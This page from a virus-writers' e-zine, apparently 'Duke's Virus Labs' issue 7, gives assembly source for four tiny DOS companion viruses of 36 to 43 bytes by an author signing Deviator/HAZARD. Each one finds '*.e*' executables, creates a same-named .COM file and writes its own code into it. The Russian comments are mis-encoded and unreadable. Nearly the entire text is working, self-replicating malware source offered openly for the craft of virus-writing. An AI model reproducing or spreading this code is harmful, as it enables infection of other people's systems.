- [Duke's Virus Labs #7] - [Page 25] -

Companion.36,38,40,43
(c) by Deviator/HAZARD

===== begin mt_s_36.asm =====
;   ᠬ 쪮 ⭨ !
;  = 36 ...    Duk'a/SMF...

;   뫨   Duk'a,   .
;  , ६ ࠧࠡ⪨ 뫠  楫  ( 64   36)

; P.S  ⠡   ⠭⭮ ᮤঠ ॣ஢  ᪥
; ..   ࠢ Si = 100h,Di=Sp (-2  0FFFEh) Ax,Bx,Cx,Dx = 0.

; P.S.S   ᠬ Soulburner, 㡫 ᢮   DVL#6.
;  訫 २  Deviator - ᬮ 客 ⮫쪮 ࠧ,
;   䠭⠧  ਤ뢠 ᢮ ਣ쭮 Nick'a ᮢᥬ .
;     ஧饬 SoulBurner  1996, ᬮ   楢 ⮬
; , UnderNet   #TeenChat, Soulburner   !
;  १ ஥ ६  Mr.Quail (my team member) ᬮ ணࠬ
; 易  ठ  ,  ⠬ Nick - SoulBurner,   ணࠬ
; ஢ 1998 . 祬 ணࠬ  ᪮ 몥...   !

;  [Hazard] Team 뢠 HomePage.  㤥 ⮢, link.

; Hi Dukie ! ;)

;   砥 :(

; Deviator [HAZARD]

.model tiny
.386
.code
        org 100h
Mt_38:  db      '*.e*'          ;  ᪠

        mov ah,4eh              ; 饬 䠩
        Call Gotcha
Gotcha: mov dx,si               ; Dx = 100h
        int 21h                 ; Dos

        mov dx,9Eh              ; Dx = 9Eh
        mov ax,5B00h+'.'        ; 饬 '.'
repne   scasb                   ; Lets Go
        mov [di],'MOC'          ; 塞 ७  COM

        mov cx,si               ; Cx = 256 (100h)
        int 21h                 ; Ah = 5B,ᮧ 䠩 ᫨  
        xchg ax,bx              ; Handle  Bx
        mov ah,40h              ; 訬 
        ret                     ;  Gotcha
end     Mt_38
===== end   mt_s_36.asm =====

===== begin mt_s_38.asm =====
.model tiny
.386
.code
        org 100h
main:   db      '*.e*'
        mov dx,si

        mov ah,4eh
        int 21h

        mov dx,9Eh

        mov ax,5B00h+'.'
repne   scasb
        mov ds:[di],00000000+'MOC'

        mov cx,si
        Call XXX
XXX:    int 21h
        xchg ax,bx
        mov ah,40h
        mov dx,si
        ret
end     main
===== end   mt_s_38.asm =====

===== begin mt_s_40.asm =====
.model tiny
.386
.code
        org 100h
main:   db      '*.e*'
        mov dx,si

        mov ah,4eh
        int 21h

        mov di,9Eh


        push di
        mov ax,5B00h+'.'
repne   scasb
        mov ds:[di],00000000+'MOC'
        pop  dx

        mov cx,si
        Call XXX
XXX:    int 21h
        xchg ax,bx
        mov ah,40h
        mov dx,si
        ret
end     main
===== end   mt_s_40.asm =====

===== begin mt_s_43.asm =====
.model tiny
.386
.code
        org 100h
main:   db      '*.e*'
        mov dx,100h
        mov bp,dx

        mov ah,4eh
        int 21h

        mov di,9Eh


        push di
        mov ax,5B00h+'.'
repne   scasb
        mov ds:[di],00000000+'MOC'
        pop  dx

        mov cx,bp
        Call XXX
XXX:    int 21h
        xchg ax,bx
        mov ah,40h
        mov dx,bp
        ret
end     main
===== end   mt_s_43.asm =====
